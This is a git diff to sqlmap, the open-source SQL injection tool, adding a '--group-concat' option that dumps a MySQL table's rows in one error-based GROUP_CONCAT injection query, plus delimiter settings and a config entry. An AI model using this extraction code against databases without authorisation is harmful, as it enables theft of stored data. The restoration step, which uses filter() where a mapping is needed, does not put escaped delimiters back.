diff --git a/lib/core/option.py b/lib/core/option.py index 65fe12586..6f7a6bd95 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1121,6 +1121,7 @@ def __cleanupOptions(): conf.keepAlive = True conf.nullConnection = not conf.textOnly conf.threads = 4 if conf.threads < 4 else conf.threads + conf.groupConcat = True if conf.tor: conf.proxy = DEFAULT_TOR_PROXY diff --git a/lib/core/settings.py b/lib/core/settings.py index 6d3bc3947..d73cdea4b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -58,6 +58,10 @@ PAYLOAD_DELIMITER = "\x00" CHAR_INFERENCE_MARK = "%c" NON_CONTROL_CHAR_REGEX = r'[^\x00-\x1f]' +# dumping characters used in GROUP_CONCAT MySQL technique +CONCAT_ROW_DELIMITER = ',' +CONCAT_VALUE_DELIMITER = '|' + # coefficient used for a time-based query delay checking (must be >= 7) TIME_STDEV_COEFF = 10 diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index bd9bca0b4..7a5f7ad3b 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -149,6 +149,9 @@ def cmdLineParser(): help="Max number of concurrent HTTP(s) " "requests (default 1)") + optimization.add_option("--group-concat", dest="groupConcat", action="store_true", + default=False, help="Use GROUP_CONCAT MySQL technique in dumping phase") + # Injection options injection = OptionGroup(parser, "Injection", "These options can be " "used to specify which parameters to test " diff --git a/plugins/generic/enumeration.py b/plugins/generic/enumeration.py index 4998bd2ae..2abffe370 100644 --- a/plugins/generic/enumeration.py +++ b/plugins/generic/enumeration.py @@ -45,6 +45,8 @@ from lib.core.exception import sqlmapNoneDataException from lib.core.exception import sqlmapUnsupportedFeatureException from lib.core.exception import sqlmapUserQuitException from lib.core.session import setOs +from lib.core.settings import CONCAT_ROW_DELIMITER +from lib.core.settings import CONCAT_VALUE_DELIMITER from lib.core.settings import SQL_STATEMENTS from lib.core.shell import autoCompletion from lib.core.unescaper import unescaper @@ -1193,13 +1195,31 @@ class Enumeration: entriesCount = 0 if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct: + entries = [] + + if Backend.getIdentifiedDbms() == DBMS.MYSQL and isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) and conf.groupConcat: + randStr, randStr2 = randomStr(), randomStr() + filterFunction = "REPLACE(REPLACE(IFNULL(%s, ' '),'%s','%s'),'%s','%s')"\ + % ('%s', CONCAT_VALUE_DELIMITER, randStr, CONCAT_ROW_DELIMITER, randStr2) + concats = ",".join(map(lambda x: "CONCAT(%s, '|')" % (filterFunction % x), colList[:-1])) + concats += ",%s" % (filterFunction % colList[-1]) + query = "SELECT GROUP_CONCAT(%s) FROM %s.%s" % (concats, conf.db, conf.tbl) + value = inject.getValue(query, blind=False) + if isinstance(value, basestring): + for line in value.split(CONCAT_ROW_DELIMITER): + row = line.split(CONCAT_VALUE_DELIMITER) + row = filter(lambda x: x.replace(randStr, CONCAT_VALUE_DELIMITER).replace(randStr2, CONCAT_ROW_DELIMITER), row) + entries.append(row) + if Backend.getIdentifiedDbms() == DBMS.ORACLE: query = rootQuery.inband.query % (colString, conf.tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), conf.tbl.upper()))) elif Backend.getIdentifiedDbms() == DBMS.SQLITE: query = rootQuery.inband.query % (colString, conf.tbl) else: query = rootQuery.inband.query % (colString, conf.db, conf.tbl) - entries = inject.getValue(query, blind=False, dump=True) + + if not (Backend.getIdentifiedDbms() == DBMS.MYSQL and entries): + entries = inject.getValue(query, blind=False, dump=True) if entries: if isinstance(entries, basestring): diff --git a/sqlmap.conf b/sqlmap.conf index a82ee5183..5f8df1fcc 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -149,6 +149,10 @@ nullConnection = False # Default: 1 threads = 1 +# Use GROUP_CONCAT MySQL technique in dumping phase. +# Valid: True or False +groupConcat = False + # These options can be used to specify which parameters to test for, # provide custom injection payloads and optional tampering scripts.